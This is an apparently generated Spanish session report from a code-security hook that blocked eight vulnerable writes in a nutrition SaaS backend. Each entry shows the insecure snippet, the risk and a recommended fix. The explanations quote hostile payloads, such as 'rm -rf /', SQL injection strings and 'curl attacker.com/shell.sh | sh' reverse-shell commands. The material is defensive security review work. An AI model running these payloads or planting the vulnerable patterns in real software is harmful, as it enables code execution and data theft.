🛡️

Hook de Seguridad — Reporte de Sesión

NutriFlow SaaS · Proyecto nutriflow-backend · 8 bloqueos interceptados

8 Bloqueados Hook Activo PreToolUse
8Intentos bloqueados
3Críticos (RCE)
3Alto (Injection)
2Medio (XSS/Deser.)
12Patrones activos
4Archivos afectados
Sesión: sess_nutriflow_20260612_143201 Hook: security_reminder_hook.py v2.7.3 Estado caché: ~/.claude/security_warnings_state_143201.json Hora inicio: 14:32:01 · Fin: 15:18:44

Intentos bloqueados

8 bloqueos
1
Command Injection (Node.js) CWE-78
api/routes/report.js · línea 47
Crítico 🚫 14:33:12
Código bloqueado
45const reportData = await getPatientReport(patientId);
46const filename = `report_${patientId}.pdf`;
47child_process.exec(`wkhtmltopdf --page-size A4 /tmp/${filename} /exports/${filename}`, (err, stdout) => {
48 if (err) throw err;
49 res.download(`/exports/${filename}`);
50});
⚠️
BLOQUEADO: child_process.exec con template string interpolando patientId del usuario. Si patientId contiene ; rm -rf / o similar, el shell lo ejecutará. RCE inmediato.
✓ Corrección recomendada
const safeFilename = path.basename(`report_${patientId}.pdf`).replace(/[^a-zA-Z0-9_\-\.]/g, '');
const { execFile } = require('child_process');
execFile('wkhtmltopdf', ['--page-size', 'A4', `/tmp/${safeFilename}`, `/exports/${safeFilename}`], callback);
2
SQL Injection (f-string) CWE-89
api/db/queries.js · línea 23
Crítico 🚫 14:41:05
Código bloqueado
20async function searchPatients(searchTerm) {
21 // Búsqueda por nombre o DNI
22 const conn = await pool.getConnection();
23 const query = `SELECT * FROM patients WHERE name LIKE '%${searchTerm}%' OR dni = '${searchTerm}'`;
24 return conn.query(query);
25}
⚠️
BLOQUEADO: SQL construido con template literal interpolando searchTerm directamente en la query. Payload ' OR '1'='1 expone todos los pacientes. RGPD breach potencial.
✓ Corrección recomendada — Prepared Statements
const query = 'SELECT * FROM patients WHERE name LIKE ? OR dni = ?';
const params = [`%${searchTerm}%`, searchTerm]; // parámetros separados
return conn.query(query, params);
3
React XSS — dangerouslySetInnerHTML CWE-79
frontend/components/NoteEditor.jsx · línea 68
Alto 🚫 14:52:30
Código bloqueado
65// Renderizar notas clínicas con formato Markdown
66const renderedNote = marked(note.content);
67return (
68 <div dangerouslySetInnerHTML={{ __html: renderedNote }} />
69);
⚠️
BLOQUEADO: dangerouslySetInnerHTML con contenido de notas clínicas sin sanitizar. Un atacante con acceso de escritura podría inyectar <script> y robar tokens de sesión de médicos.
✓ Corrección recomendada — DOMPurify
import DOMPurify from 'dompurify';
const cleanHtml = DOMPurify.sanitize(marked(note.content));
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
4
Python Deserialization RCE — pickle CWE-502
scripts/export_model.py · línea 31
Crítico 🚫 15:01:17
Código bloqueado
28import pickle
29from sklearn.ensemble import RandomForestClassifier
30
31with open('models/nutrition_classifier_v3.pkl', 'wb') as f:
32 pickle.dump(model, f)
33
34# TODO: cargar en API para inferencia
⚠️
BLOQUEADO: pickle serializa objetos Python arbitrarios. Si el archivo .pkl es comprometido (supply chain) o servido a clientes, la deserialización ejecuta código arbitrario (RCE). Crítico si la API carga el modelo en cada request.
✓ Corrección recomendada — joblib + validación de hash
import joblib, hashlib
joblib.dump(model, 'models/nutrition_classifier_v3.joblib')
# O mejor: ONNX para portabilidad sin riesgo de ejecución
import skl2onnx; skl2onnx.convert_sklearn(model, "NutriClassifier", ...)
5
Python Command Injection — os.system CWE-78
scripts/data_processor.py · línea 55
Alto 🚫 15:04:58
Código bloqueado
52def run_r_analysis(dataset_path: str) -> str:
53 """Ejecuta análisis estadístico en R para validar patrones nutricionales"""
54 output_path = dataset_path.replace('.csv', '_stats.json')
55 os.system(f'Rscript analysis.R {dataset_path} {output_path}')
56 return output_path
⚠️
BLOQUEADO: os.system con f-string interpolando dataset_path. Si el path viene de un upload de usuario, payload ; curl attacker.com/shell.sh | sh ejecuta shell remota.
✓ Corrección recomendada — subprocess.run con lista
import subprocess
subprocess.run(['Rscript', 'analysis.R', dataset_path, output_path],
check=True, capture_output=True, timeout=60)
6
JS Code Injection — eval() CWE-95
api/utils/template_engine.js · línea 14
Alto 🚫 15:09:22
Código bloqueado
12function renderRecipeTemplate(template, variables) {
13 // Sustituir variables en plantillas de recetas: {{calorias}}, {{proteinas}}
14 return eval(`\`${template}\``); // interpolación dinámica
15}
⚠️
BLOQUEADO: eval() con template de usuario. Un dietista malicioso puede inyectar ${process.env} y exfiltrar todas las variables de entorno (API keys, DB credentials).
✓ Corrección recomendada — sustitución segura por regex
return template.replace(/\{\{(\w+)\}\}/g, (_, key) =>
variables[key] !== undefined ? String(variables[key]) : '');
7
GitHub Actions — Workflow Command Injection CWE-77
.github/workflows/deploy.yml · línea 28
Medio 🚫 15:13:45
Código bloqueado
25 - name: Notify deployment
26 run: |
27 echo "Deploying NutriFlow..."
28 echo "Commit: ${{ github.event.head_commit.message }}"
29 ./scripts/deploy.sh --env production
⚠️
BLOQUEADO: Expresión ${{ github.event.head_commit.message }} en run:. Un commit con mensaje $(curl evil.sh|sh) ejecuta código en el runner de CI con acceso a secrets.
✓ Corrección recomendada — variable de entorno intermedia
- name: Notify deployment
env:
COMMIT_MSG: ${{ github.event.head_commit.message }}
run: echo "Commit: $COMMIT_MSG" # shell escaping applies
8
YAML Deserialization RCE — yaml.unsafe_load CWE-502
api/utils/config_loader.py · línea 19
Medio 🚫 15:18:44
Código bloqueado
17import yaml
18
19def load_dietitian_config(config_path: str) -> dict:
20 with open(config_path) as f:
21 return yaml.unsafe_load(f) # acepta todos los tags YAML
22
⚠️
BLOQUEADO: yaml.unsafe_load permite tags !!python/object/apply que ejecutan funciones arbitrarias de Python al deserializar. Cualquier config de un dietista podría ejecutar código en el servidor.
✓ Corrección recomendada — yaml.safe_load
return yaml.safe_load(f) # solo tipos YAML estándar: str, int, list, dict

Resumen por categoría de riesgo

# Patrón detectado Archivo Categoría CVE/CWE Severidad Estado
1 child_process.exec() api/routes/report.js Command Injection CWE-78 CRÍTICO 🚫 Bloqueado
2 SQL + template literal api/db/queries.js SQL Injection CWE-89 CRÍTICO 🚫 Bloqueado
3 dangerouslySetInnerHTML frontend/NoteEditor.jsx React XSS CWE-79 ALTO 🚫 Bloqueado
4 pickle.dump/load scripts/export_model.py Deserialization RCE CWE-502 CRÍTICO 🚫 Bloqueado
5 os.system(f-string) scripts/data_processor.py Command Injection CWE-78 ALTO 🚫 Bloqueado
6 eval() api/utils/template_engine.js Code Injection CWE-95 ALTO 🚫 Bloqueado
7 ${{ github.event.* }} .github/workflows/deploy.yml Workflow Injection CWE-77 MEDIO 🚫 Bloqueado
8 yaml.unsafe_load() api/utils/config_loader.py YAML Deser. RCE CWE-502 MEDIO 🚫 Bloqueado